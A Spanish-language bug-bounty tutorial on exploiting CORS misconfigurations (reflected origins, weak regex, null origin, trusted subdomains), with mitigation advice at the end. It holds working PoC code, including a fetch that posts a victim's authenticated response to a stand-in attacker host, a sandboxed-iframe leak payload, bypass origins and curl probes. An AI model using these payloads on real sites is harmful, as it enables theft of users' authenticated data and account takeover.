Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratis

CORS misconfigurations — null origin, wildcard credentials y subdomain trust

Cuando ACAO refleja cualquier Origin con ACAC=true, cuando null se acepta, cuando subdominios son wildcardeados — leak de datos autenticados cross-site.

Gorka El Bochi9 de mayo de 202611 min

Respuesta rápida

CORS misconfig vulnerable cuando el servidor responde con Access-Control-Allow-Origin reflejando un origin arbitrario y al mismo tiempo Access-Control-Allow-Credentials: true. Permite a una página atacante leer responses autenticados de la víctima. Patrones explotables: reflejo dinámico, null aceptado, regex débil que matches subdominios atacante, trust en subdominios takeable.


Cómo funciona CORS (refresher)

CORS controla qué origins pueden leer responses cross-site. Para un request con cookies:

  1. El browser envía Origin del atacante.
  2. El servidor responde con Access-Control-Allow-Origin (ACAO) y Access-Control-Allow-Credentials (ACAC).
  3. Si ACAO == origin del atacante AND ACAC == true → el JS atacante puede leer la response.

Regla: ACAO: * y ACAC: true no son compatibles (browser ignora). El atacante necesita que el server eche el origin específico + ACAC true.


Misconfigs explotables

1. Reflejo de cualquier Origin

http
Request:
GET /api/me HTTP/1.1
Origin: https://attacker.tld

Response:
Access-Control-Allow-Origin: https://attacker.tld
Access-Control-Allow-Credentials: true

Vector más común. El backend hace echo del header Origin sin validación. Cualquier página atacante con la víctima logueada lee /api/me con sus cookies.

PoC:

javascript
fetch("https://target.tld/api/me", { credentials: "include" })
  .then(r => r.text())
  .then(data => fetch("https://attacker.tld/leak", { method: "POST", body: data }));

2. Regex débil

Backend valida con regex que matches subdomains atacante:

python
if re.match(r"^https?://.*target\.tld$", origin):  # ⚠️ falla
    return origin

https://attacker.target.tld (subdomain takeover) o https://target.tld.attacker.tld matchean dependiendo del regex. Probar:

perl
https://eviltarget.tld
https://target.tld.evil.tld
https://attacker.com/target.tld
https://target.tld%60.attacker.tld
https://target.tld.attacker.tld

3. null origin aceptado

http
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Browsers envían Origin: null cuando:

  • Sandbox iframes sin allow-same-origin.
  • File:// URIs.
  • Documents from data: URIs.

Atacante:

html
<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://target.tld/api/me', {credentials:'include'}).then(r=>r.text()).then(d=>parent.postMessage(d,'*'))</script>"></iframe>

El iframe sandboxed envía Origin: null → server responde con ACAO=null + ACAC=true → leak.

4. Trust en subdominio takeable

python
allowed = ["*.target.tld"]  # acepta cualquier subdominio

Si cualquier subdominio (legacy.target.tld, static.target.tld, internal.target.tld) tiene subdomain takeover (DNS apunta a S3/Heroku/Github Pages que ya no existe), el atacante registra ese servicio y monta página en el subdominio.

Desde ese subdominio, fetch a target.tld/api/* con credentials → respuesta + ACAO match + ACAC true → ATO de cualquier user logueado.

5. Pre-flight bypass

Si el endpoint no requiere preflight (request "simple": GET/POST sin headers custom + ACAO matching), el browser ni siquiera consulta antes. Apps con endpoints sensibles vía POST simple son explotables sin que la víctima vea ni un OPTIONS.

6. Wildcard amplia

http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Browser ignora ACAC cuando ACAO=* (no se envían cookies). Pero a veces el endpoint sirve datos sensibles sin necesitar credentials (ej., si auth via API key en query string, o si endpoint internal). En ese caso ACAO: * solo basta para leak.


Cómo demostrar PoC

PoC mínima para reporte

HTML que sirves desde attacker.tld:

html
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC</h1>
<div id="r">Loading...</div>
<script>
fetch("https://target.tld/api/me", { credentials: "include" })
  .then(r => r.text())
  .then(d => {
    document.getElementById("r").textContent = d;
  });
</script>
</body>
</html>

Pasos del reporter:

  1. Loguearse en target.tld (cuenta de prueba).
  2. Visitar https://attacker.tld/cors-poc.html.
  3. Screenshot del response autenticado mostrando email, ID, etc.

Hunting checklist

bash
# Cambiar Origin y observar ACAO + ACAC
curl -H "Origin: https://evil.tld" -I https://target.tld/api/me
curl -H "Origin: null" -I https://target.tld/api/me
curl -H "Origin: https://target.tld.evil.tld" -I https://target.tld/api/me
curl -H "Origin: https://eviltarget.tld" -I https://target.tld/api/me
curl -H "Origin: https://target.tld%60.evil.tld" -I https://target.tld/api/me

Si ACAO refleja el Origin enviado AND ACAC=true → reportable. Confirmar con PoC funcional.


Patrones comunes en bug bounty

Apps con apis "internas" y "públicas"

  • api.target.tld (público, ACAO restrictivo).
  • internal.target.tld (interno, sin CORS porque "no está enlazado").

Si internal.target.tld está en scope y responde con CORS abierto a propios subdominios, vector via subdomain takeover sigue.

CORS + Vary header

Si Vary: Origin no está, las CDN cachean responses con Origin específico → un user con Origin: target.tld recibe response cacheado para Origin: attacker.tld. Cache poisoning vector.

Credentials via Authorization header

Apps que mandan tokens con Authorization: Bearer ... (no cookies). El browser solo envía Authorization automáticamente si está en el header del fetch. Si la app guarda el token en localStorage y lo añade manualmente, una página atacante NO puede leerlo a menos que combine con XSS.

Pero si el fetch del frontend manda cookies (sesion) además del Authorization, el flujo cookies + CORS + ACAC se aplica igual.


Mitigación correcta

  1. Whitelist explícita (no regex):
python
allowed_origins = {"https://app.target.tld", "https://admin.target.tld"}
if origin in allowed_origins:
    response.headers["Access-Control-Allow-Origin"] = origin
    response.headers["Access-Control-Allow-Credentials"] = "true"
  1. Vary: Origin siempre que el response cambie según Origin.
  2. Nunca ACAO=null.
  3. Nunca ACAO=* con ACAC=true.
  4. No confiar en subdominios salvo que tengas control DNS estricto.

Hunting checklist (rápido)

  • ¿curl -H "Origin: https://evil.tld" -I refleja en ACAO?
  • ¿ACAC=true al mismo tiempo?
  • ¿Origin: null aceptado?
  • ¿Hay endpoints sensibles sin preflight (GET/POST simple)?
  • ¿Subdominios con CNAMEs olvidados (subdomain takeover)?
  • ¿Vary: Origin presente para evitar cache poisoning?

Labs relacionados

Practica CORS reflejado, null origin, regex bypass y subdomain trust: labs de CORS.

Practica esto en un lab

Cors

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados